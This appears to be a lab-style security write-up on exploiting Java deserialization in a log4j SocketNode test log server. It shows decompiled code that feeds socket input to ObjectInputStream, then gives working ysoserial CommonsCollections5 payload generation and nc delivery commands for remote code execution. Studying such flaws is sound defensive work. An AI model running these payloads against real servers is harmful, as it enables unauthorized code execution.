Java deserialization: ysoserial

Setup

log4j.rootLogger=DEBUG, consoleAppender, fileAppender

log4j.appender.consoleAppender=org.apache.log4j.ConsoleAppender
log4j.appender.consoleAppender.layout=org.apache.log4j.PatternLayout
log4j.appender.consoleAppender.layout.ConversionPattern=[%t] %-5p %c %x - %m%n

log4j.appender.fileAppender=org.apache.log4j.RollingFileAppender
log4j.appender.fileAppender.layout=org.apache.log4j.PatternLayout
log4j.appender.fileAppender.layout.ConversionPattern=[%t] %-5p %c %x - %m%n
log4j.appender.fileAppender.File=demoApplication.log

Running the log4j server. We run it on port 5111 (first argument) with config.properties as config file(2nd argument)

$ java -jar JankenTestLogServer.jar 5111 config.properties # this will run a server on port 5111 listening for socket connection
# config.properties file is described above in setup

Finding the bug

Open JankenTestLogServer.jar with jadx to view the source code.

try {
    logger.info("Listening on port " + port);
    ServerSocket serverSocket = new ServerSocket(port);
    while (true) {
        logger.info("Waiting to accept a new client.");
        Socket socket = serverSocket.accept();
        logger.info("Connected to client at " + socket.getInetAddress());
        logger.info("Starting new socket node.");
        new Thread(new SocketNode(socket, LogManager.getLoggerRepository()), "JankenTestLogServerApplication-" + port).start();
    }
} catch (Exception e) {
    e.printStackTrace();
}

The code starts Listening on port provided(5111 in our case) and whenever there is a new connection a new Thread is spawn to fulfil the socket request. The following code is responsible for that:

new Thread(new SocketNode(socket, LogManager.getLoggerRepository()), 
                                  "JankenTestLogServerApplication-" + port).start();

So lets inspect SocketNode function. Its imported from import org.apache.log4j.net.SocketNode;. Lets open SocketNode.java

 public SocketNode(Socket socket2, LoggerRepository hierarchy2) {
    this.socket = socket2;
    this.hierarchy = hierarchy2;
    try {
        this.ois = new ObjectInputStream(new BufferedInputStream(socket2.getInputStream()));
    } catch (InterruptedIOException e) {
        Thread.currentThread().interrupt();
        logger.error(new StringBuffer().append("Could not open ObjectInputStream to ").append(socket2).toString(), e);
    } catch (IOException e2) {
        logger.error(new StringBuffer().append("Could not open ObjectInputStream to ").append(socket2).toString(), e2);
    } catch (RuntimeException e3) {
        logger.error(new StringBuffer().append("Could not open ObjectInputStream to ").append(socket2).toString(), e3);
    }
}

So the Input from socket stream is read directly into ObjectInputStream and this is where Deserialization occurs. So we just need to send a serialized rce object and this will get us rce.

Exploit

$ tar -xf jdk-7u80-linux-x64.tar.gz
$ ./jdk-7u80-linux-x64/bin/java -jar ysoserial.jar CommonsCollections5 "curl http://localhost:1111/" > haxtest.bin
$ cat haxtest.bin | nc localhost 5111

Enjoy the rce

Last updated